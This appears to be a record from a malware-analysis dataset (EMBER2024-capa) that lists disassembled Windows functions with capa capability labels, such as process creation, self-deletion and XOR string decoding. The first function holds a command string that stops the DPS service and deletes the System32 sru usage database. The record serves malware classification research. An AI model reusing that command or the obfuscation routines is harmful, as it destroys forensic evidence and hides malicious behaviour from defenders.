joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004c320
Capabilities:
Create process on windows
Self delete

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x100
xorps xmm0, xmm0
xor eax, eax
xor ebx, ebx
mov qword [r11 - 0x18], rax
movups xmmword [r11 - 0x78], xmm0
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov dword [r11 - 0x78], 0x68
movups xmmword [r11 - 0x48], xmm0
mov dword [r11 - 0x3c], 1
movups xmmword [r11 - 0x38], xmm0
mov word [r11 - 0x38], bx
movups xmmword [r11 - 0x68], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x58], xmm0
mov qword [rsp + 0x70], rbx
movups xmmword [r11 - 0x28], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.1400e70bc
movdqa xmm0, xmmword [0x140111570]
mov rdx, rax
mov qword [rsp + 0x68], rax
xor r9d, r9d
movdqu xmmword [rsp + 0x78], xmm0
xor r8d, r8d
xor ecx, ecx
movaps xmm0, xmmword [str.cmd__c_net_stop_DPS___NUL_2_1__DEL__F__S__Q__A___windir_System32_sru___net_start_DPS___NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14010f050]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14010f060]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14010f070]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14010f080]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x14010f090]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x14010f0a0]
mov dword [rdx + 0x60], eax
movzx eax, word [0x14010f0a4]
mov word [rdx + 0x64], ax
movzx eax, byte [0x14010f0a6]
mov byte [rdx + 0x66], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov byte [rdx + 0x67], bl
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004c45b
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x14004c49e
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c499
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c499
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e7410
add rsp, 0x100
pop rbx
ret
Function at 0x140067450
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp byte [0x1401b536c], 1
jne 0x140067469
lea rcx, [0x1401b58c0]
call fcn.14008df10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14006a8c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x4b], 0
mov rbx, rdx
mov r10, rcx
je 0x14006a902
mov r8, rcx
mov rax, rcx
neg r8
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx - 0x2f]
sub dl, 0x2e
xor byte [rax], cl
xor byte [rax + 1], dl
lea rax, [rax + 2]
lea rcx, [r8 + rax]
cmp rcx, 0x4a
jb 0x14006a8e0
mov byte [r10 + 0x4b], 0
lea r8, [r10 + 0x4a]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006a920
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
mov r8, rcx
je 0x14006aa22
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006a9f7
movzx eax, word [rcx]
movdqa xmm3, xmmword [0x140112210]
movdqa xmm2, xmmword [0x140111590]
movdqa xmm0, xmmword [0x140111430]
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_bind]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx], ax
movzx eax, word [rcx + 2]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 2], ax
movzx eax, word [rcx + 4]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_getsockname]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 4], ax
movzx eax, word [rcx + 6]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rcx + 6], ax
mov eax, 8
movabs r9, 0xa92f07a353213337
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0xc
jb 0x14006aa01
mov byte [r8 + 0xc], 0
mov rax, r8
ret

Function at 0x14006aa30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5f], 0
mov rbx, rdx
mov r10, rcx
je 0x14006aa72
mov r8, rcx
mov rax, rcx
neg r8
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx - 0x2f]
sub dl, 0x2e
xor byte [rax], cl
xor byte [rax + 1], dl
lea rax, [rax + 2]
lea rcx, [r8 + rax]
cmp rcx, 0x5e
jb 0x14006aa50
mov byte [r10 + 0x5f], 0
lea r8, [r10 + 0x5e]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14006aa90
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5c], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ab15
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
lea edx, [r8 + rax]
lea ecx, [rdx - 0x2f]
xor byte [rax - 2], cl
lea rax, [rax + 0xd]
lea ecx, [rdx - 0x2e]
xor byte [rax - 0xe], cl
lea ecx, [rdx - 0x2d]
xor byte [rax - 0xd], cl
lea ecx, [rdx - 0x2c]
xor byte [rax - 0xc], cl
lea ecx, [rdx - 0x2b]
xor byte [rax - 0xb], cl
lea ecx, [rdx - 0x2a]
xor byte [rax - 0xa], cl
lea ecx, [rdx - 0x29]
xor byte [rax - 9], cl
lea ecx, [rdx - 0x28]
xor byte [rax - 8], cl
lea ecx, [rdx - 0x27]
xor byte [rax - 7], cl
lea ecx, [rdx - 0x26]
xor byte [rax - 6], cl
lea ecx, [rdx - 0x25]
xor byte [rax - 5], cl
lea ecx, [rdx - 0x24]
xor byte [rax - 4], cl
sub dl, 0x23
xor byte [rax - 3], dl
lea rcx, [rax + r8]
cmp rcx, 0x5b
jb 0x14006aab0
mov byte [r10 + 0x5c], 0
lea r8, [r10 + 0x5b]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ab40
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x62], al
je 0x14006ab73
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x2f]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x61
jb 0x14006ab60
mov byte [rdx + 0x62], 0
lea r8, [rdx + 0x61]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ab90
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x6c], al
je 0x14006abc3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x2f]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x6b
jb 0x14006abb0
mov byte [rdx + 0x6c], 0
lea r8, [rdx + 0x6b]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006abe0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5e], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ac29
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
lea edx, [rax + r8]
lea ecx, [rdx - 0x2f]
xor byte [rax - 2], cl
lea rax, [rax + 3]
lea ecx, [rdx - 0x2e]
sub dl, 0x2d
xor byte [rax - 4], cl
lea rcx, [r8 + rax]
xor byte [rax - 3], dl
cmp rcx, 0x5d
jb 0x14006ac00
mov byte [r10 + 0x5e], 0
lea r8, [r10 + 0x5d]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14006ac50
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x67], 0
mov rbx, rdx
mov r10, rcx
je 0x14006acfd
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx - 0x2f]
xor byte [rax - 2], cl
lea rax, [rax + 0x11]
lea ecx, [rdx - 0x2e]
xor byte [rax - 0x12], cl
lea ecx, [rdx - 0x2d]
xor byte [rax - 0x11], cl
lea ecx, [rdx - 0x2c]
xor byte [rax - 0x10], cl
lea ecx, [rdx - 0x2b]
xor byte [rax - 0xf], cl
lea ecx, [rdx - 0x2a]
xor byte [rax - 0xe], cl
lea ecx, [rdx - 0x29]
xor byte [rax - 0xd], cl
lea ecx, [rdx - 0x28]
xor byte [rax - 0xc], cl
lea ecx, [rdx - 0x27]
xor byte [rax - 0xb], cl
lea ecx, [rdx - 0x26]
xor byte [rax - 0xa], cl
lea ecx, [rdx - 0x25]
xor byte [rax - 9], cl
lea ecx, [rdx - 0x24]
xor byte [rax - 8], cl
lea ecx, [rdx - 0x23]
xor byte [rax - 7], cl
lea ecx, [rdx - 0x22]
xor byte [rax - 6], cl
lea ecx, [rdx - 0x21]
xor byte [rax - 5], cl
lea ecx, [rdx - 0x20]
xor byte [rax - 4], cl
sub dl, 0x1f
xor byte [rax - 3], dl
lea rcx, [r8 + rax]
cmp rcx, 0x66
jb 0x14006ac80
mov byte [r10 + 0x67], 0
lea r8, [r10 + 0x66]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ad20
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x61], 0
mov rbx, rdx
mov r10, rcx
je 0x14006adc7
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx - 0x2f]
xor byte [rax - 2], cl
lea rax, [rax + 0x10]
lea ecx, [rdx - 0x2e]
xor byte [rax - 0x11], cl
lea ecx, [rdx - 0x2d]
xor byte [rax - 0x10], cl
lea ecx, [rdx - 0x2c]
xor byte [rax - 0xf], cl
lea ecx, [rdx - 0x2b]
xor byte [rax - 0xe], cl
lea ecx, [rdx - 0x2a]
xor byte [rax - 0xd], cl
lea ecx, [rdx - 0x29]
xor byte [rax - 0xc], cl
lea ecx, [rdx - 0x28]
xor byte [rax - 0xb], cl
lea ecx, [rdx - 0x27]
xor byte [rax - 0xa], cl
lea ecx, [rdx - 0x26]
xor byte [rax - 9], cl
lea ecx, [rdx - 0x25]
xor byte [rax - 8], cl
lea ecx, [rdx - 0x24]
xor byte [rax - 7], cl
lea ecx, [rdx - 0x23]
xor byte [rax - 6], cl
lea ecx, [rdx - 0x22]
xor byte [rax - 5], cl
lea ecx, [rdx - 0x21]
xor byte [rax - 4], cl
sub dl, 0x20
xor byte [rax - 3], dl
lea rcx, [r8 + rax]
cmp rcx, 0x60
jb 0x14006ad50
mov byte [r10 + 0x61], 0
lea r8, [r10 + 0x60]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006adf0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x5a], al
je 0x14006ae23
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x2f]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x59
jb 0x14006ae10
mov byte [rdx + 0x5a], 0
lea r8, [rdx + 0x59]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.1400745d0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14006b2a0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14006b2c8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14006b2ee
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14006b2f0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14006b349
test ecx, ecx
jle 0x14006b329
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14006b349
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14006b349
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14006b370
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14006b3a1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14006b3bf
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14006b3db
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14006b3dd
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14006b419
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14006b4ae
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14006b454
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14006b48e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14006b4ae
cmp rbx, rax
ja 0x14006b460
test rbx, rbx
je 0x14006b4ae
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14006b900
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14006b924
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14006b967
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x14006b967
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x14006ba98
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14006b9aa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14006b9d5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14006ba9d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14006ba4a
sub eax, 1
je 0x14006ba4a
cmp eax, 2
jne 0x14006ba98
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14006ba9d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14006ba7b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14006ba98
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14006ba9d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x14006d7e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
mov r8, rcx
je 0x14006d951
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006d91f
movdqa xmm2, xmmword [0x140111430]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x1401122d0]
sub r9, rcx
movdqa xmm5, xmmword [0x140111590]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006d833
cmp rax, 0x16
jae 0x14006d94c
movabs r9, 0xbbd99bc36b197d3f
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x16
jb 0x14006d930
mov byte [r8 + 0x16], 0
ret
Function at 0x14006d960
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x12], 0
mov r8, rcx
je 0x14006dad1
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006da9f
movdqa xmm2, xmmword [0x140111430]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x140112420]
sub r9, rcx
movdqa xmm5, xmmword [0x140111590]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006d9b3
cmp rax, 0x12
jae 0x14006dacc
movabs r9, 0xd31bef4dff3d175f
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x12
jb 0x14006dab0
mov byte [r8 + 0x12], 0
ret
Function at 0x14006dbc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x14], 0
mov r8, rcx
je 0x14006dd31
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006dcff
movdqa xmm2, xmmword [0x140111430]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x140112270]
sub r9, rcx
movdqa xmm5, xmmword [0x140111590]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006dc13
cmp rax, 0x14
jae 0x14006dd2c
movabs r9, 0xb3a3398badd98377
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x14
jb 0x14006dd10
mov byte [r8 + 0x14], 0
ret
Function at 0x14006dd40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x13], 0
mov r8, rcx
je 0x14006deb1
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006de7f
movdqa xmm2, xmmword [0x140111430]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x140111a90]
sub r9, rcx
movdqa xmm5, xmmword [0x140111590]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
